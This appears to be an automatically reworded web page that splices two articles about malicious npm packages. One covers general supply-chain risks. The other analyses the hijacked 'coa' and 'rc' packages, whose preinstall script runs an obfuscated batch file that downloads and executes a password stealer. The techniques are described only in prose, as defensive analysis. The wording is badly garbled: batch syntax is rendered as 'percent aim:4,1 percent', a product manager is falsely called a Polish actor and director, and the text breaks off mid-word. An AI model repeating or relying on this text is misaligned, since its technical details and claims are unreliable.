- Because of this, WhiteSource quickly reported the malicious npm packages to the npm security team, and the packages were later deleted from the registry as part of our continuous commitment to make the open-source software (OSS) community more secure.
- As a consequence of their work over the last year, our researchers have compiled a list of five crucially significant facts that are critical to understanding the security of npm packages:
- The following is an example of an attack that takes advantage of the ″trust by default″ approach to open source software: Because engineers simply do not have the time to examine every line of code from every package that is currently in use, open source provides an excellent entry point into a company’s software supply chain.
- While projects normally begin with the most recent versions, they quickly fall behind, and when developers do update to the most recent version, they don’t have time to analyze all of the changes, some of which may be malicious in nature.
- When using npm packages, they are meant to include everything necessary for their functioning by default.
- However, this is not the case.
- On the downside, many programs require the download of extra resources during the installation process.
This type of behavior might indicate that the developer hasn’t had enough time to study and assess the content of all packages.As a result, because consistency checks are not being implemented, such packages have a greater chance of being hacked.
- Attackers investigate the most effective technique to utilize npm for attacks: In many circumstances, attackers have just a limited amount of time in which to complete their tasks – often between the time they upload malicious code and the time it is discovered by security experts.
- In order to determine how long this window of time will last, a malicious actor may upload an intentionally defective package in order to see how much time will elapse before the package is deleted.
- Armed with this knowledge, they can devise assaults that take use of the available window of opportunity to their benefit.
For an attacker, developing a successful attack might take a significant amount of time.It is not only necessary for the attacker to guarantee that his code is functional, but it is also necessary for him to ensure that his code affects as many systems as possible before reaching the computer he is eventually interested in accessing.
Malicious npms need not need to be executed or utilized in order to be dangerous: If a malicious npm package is downloaded, it is instantly granted access to do anything it wants with the system resources.
- Dependency hell is a technique used to conceal criminal activity: On average, npm packages rely on four other packages to do the tasks that they are responsible for.
- This is referred to as dependency hell since it is characterized by a chain of dependents atop dependencies.
- The greater the number of dependents in a package, the greater the likelihood that one of those dependencies may go rogue.
Having a large number of packages with dependencies generates a lot of noise that is exceedingly tough to filter out.When this occurs, an attacker can introduce an unexpected package dependency chain, compromising a dependence for a popular library – and all of this will go undiscovered since the attacker is using a hidden package dependency chain.
Read the npm Threat Report >> to find out more about malicious npm packages that have been spotted by WhiteSource. Maciej Mensfeld is a Polish actor and director. Diffend was created by Maciej Mensfeld, who also works as a Senior Product Manager for the company. Specifically, he writes on Supply Chain Security and Open Source Software in general, as well as other topics.
NPM Hijackers at it Again: Popular ‘coa’ and ‘rc’ Open Source Libraries Taken Over to Spread Malware
- Only a few days ago, we learned that the popular Node.js package ‘ua-parser-js’ had been compromised.
- Using the project maintainer’s npm account, hostile actors were able to publish malicious versions that attempted to install a cryptominer on the compromised machine and download a malicious DLL that was in charge of collecting credentials.
- It’s occurred again again, unfortunately.
This time, the ‘coa’ and ‘rc’ packages were taken over by a npm account takeover, which was successful.Sonatype-2021-1696 is the identifier for the hijacked versions of these packages on the internet.In spite of the fact that Coa is a command line option parser with over 9 million weekly downloads, it has not been officially updated in over three years.’Rc’ is a configuration option loading tool that receives an incredible 14 million weekly downloads, and like Coa, it hasn’t seen a new version in three years.Coincidence?
- Or, perhaps, a hint as to how the attackers select their targets?
- According to grep, these packages, which are similar to ‘ua-parser-js,’ are also utilized by IT industry heavyweights like as Microsoft and Meta (Facebook), among others.
- the outcomes of the application: We were able to do Deep Dive investigation on the malicious versions of the npm packages as soon as we got aware of them, which was quite fast after Sonatype became aware of the malicious versions of the npm packages.
What’s Inside the Malicious `coa` and `rc` Versions?
- A password stealing trojan, likely Danabot, is downloaded by the malicious versions of the software, which take use of built-in certutil binaries, commonly known as ‘LOLBins.’ There is no crypto miner present this time, but the same approaches are there, indicating that the threat actors are most likely the same as in the past. A large number of people rapidly became aware of this and began posting comments on the project’s GitHub Issues page. This was really very helpful, and the customer who reported the problem even offered a comparison between the malicious version and the previous valid version of the software. This provided us a general notion of where to begin our search. A new preinstall script had been inserted in the package.json file, which performed the compile.js script before the package.json file was installed. There was something unusual about the fact that not all harmful versions had the compile.js and compile.bat files
- could it really be that bad? As a result, a new player, compile.bat, has entered the game. When this file was created, it used the variable expansion technique in order to conceal its true goals. Variable expansion is essentially a type of substitution cipher in its most basic form. The variable ‘aim’ is specified as a series of characters that appear to be random in the image above. There is a lot of variable expansion after that, with things like percent aim:x,y percent referencing our previously declared ‘aim’ variable and things like that. The offset is represented by X, while the number of characters to be taken is represented by Y. Take note of the fact that y is always 1. If you write percent aim:4,1 percent, you’re really saying percent aim, which is the letter e. Eventually, we arrive at something along the lines of the following. The assailants weren’t going to take any chances. They initially try to download the payload with curl, and if that doesn’t work, they try wget, and if that doesn’t work either, they resort to using the LOLBin certutil to complete the task. Finally, regsvr32.exe, which is a buddy of all red teams and, it seems probable, some malicious actors, is used to execute the DLL payloa